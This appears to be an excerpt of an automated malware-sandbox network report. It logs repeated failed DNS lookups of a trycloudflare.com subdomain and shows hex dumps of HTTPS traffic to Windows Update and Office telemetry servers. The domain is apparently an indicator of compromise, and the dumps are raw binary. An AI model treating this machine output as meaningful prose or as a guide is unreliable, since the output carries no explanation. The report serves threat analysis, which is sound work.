Oct 26, 2024 13:44:16.923497915 CEST	1.1.1.1	192.168.2.4	0xbb98	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:17.075629950 CEST	1.1.1.1	192.168.2.4	0xfc7c	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:17.076427937 CEST	1.1.1.1	192.168.2.4	0x9c31	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:44:17.231101990 CEST	1.1.1.1	192.168.2.4	0x45ac	No error (0)	google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:17.231206894 CEST	8.8.8.8	192.168.2.4	0x6d52	No error (0)	google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:18.246313095 CEST	1.1.1.1	192.168.2.4	0x2102	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:44:18.248115063 CEST	1.1.1.1	192.168.2.4	0x2c65	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:19.518316984 CEST	1.1.1.1	192.168.2.4	0xfd34	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:20.282094955 CEST	1.1.1.1	192.168.2.4	0x9649	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:20.282397032 CEST	1.1.1.1	192.168.2.4	0x2f4a	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 26, 2024 13:44:23.277271032 CEST	1.1.1.1	192.168.2.4	0x79fd	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:23.278337002 CEST	1.1.1.1	192.168.2.4	0xb8e6	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:44:23.291387081 CEST	1.1.1.1	192.168.2.4	0x6b82	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:28.914968967 CEST	1.1.1.1	192.168.2.4	0x71f2	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:28.915200949 CEST	1.1.1.1	192.168.2.4	0xb8be	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:44:28.927556992 CEST	1.1.1.1	192.168.2.4	0xd374	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:28.950643063 CEST	1.1.1.1	192.168.2.4	0xc78d	No error (0)	google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:28.951967955 CEST	8.8.8.8	192.168.2.4	0x102f	No error (0)	google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:29.973948002 CEST	1.1.1.1	192.168.2.4	0x5edd	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:29.974145889 CEST	1.1.1.1	192.168.2.4	0x2e20	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:44:30.011106968 CEST	1.1.1.1	192.168.2.4	0x98a7	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:44:30.012984991 CEST	1.1.1.1	192.168.2.4	0x4757	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:30.218554020 CEST	1.1.1.1	192.168.2.4	0xd889	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:35.044805050 CEST	1.1.1.1	192.168.2.4	0x33a8	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:44:35.046192884 CEST	1.1.1.1	192.168.2.4	0x1a04	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:35.065330029 CEST	1.1.1.1	192.168.2.4	0x20fe	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:35.088548899 CEST	1.1.1.1	192.168.2.4	0x548c	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:35.092068911 CEST	1.1.1.1	192.168.2.4	0xf641	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:44:38.954417944 CEST	1.1.1.1	192.168.2.4	0x82c2	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:05.134485960 CEST	1.1.1.1	192.168.2.4	0x7e0f	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:05.146871090 CEST	1.1.1.1	192.168.2.4	0xe947	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:45:05.153585911 CEST	1.1.1.1	192.168.2.4	0x825c	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:05.182152033 CEST	1.1.1.1	192.168.2.4	0x9a69	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:46:05.183509111 CEST	1.1.1.1	192.168.2.4	0x766a	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:05.195656061 CEST	1.1.1.1	192.168.2.4	0x830b	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:44:47 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HW4WLODTnh1l55l&MD=hwC3OdL7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-26 11:44:47 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 1a42dcda-10b2-48e3-a072-7d55467b3375 MS-RequestId: d8d0a36c-cc09-4eb2-9818-766afadb69ee MS-CV: VoKRsIFiiUqkksyn.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 26 Oct 2024 11:44:46 GMT Connection: close Content-Length: 24490
2024-10-26 11:44:47 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-26 11:44:47 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49746	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:08 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:08 UTC	561	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:08 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 25 Oct 2024 17:15:22 GMT ETag: "0x8DCF5189BF6C373" x-ms-request-id: abeba80a-d01e-002b-6625-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114508Z-17c5cb586f67hfgj2durhqcxk800000000wg000000002m8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:08 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-26 11:45:08 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-26 11:45:08 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-26 11:45:08 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-26 11:45:08 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-26 11:45:09 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-26 11:45:09 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-26 11:45:09 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-26 11:45:09 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-26 11:45:09 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	49747	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:10 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:10 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:10 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 8bb6e00a-f01e-003c-3fef-248cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114510Z-15b8d89586f42m673h1quuee4s00000006300000000025y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:10 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49749	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:10 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
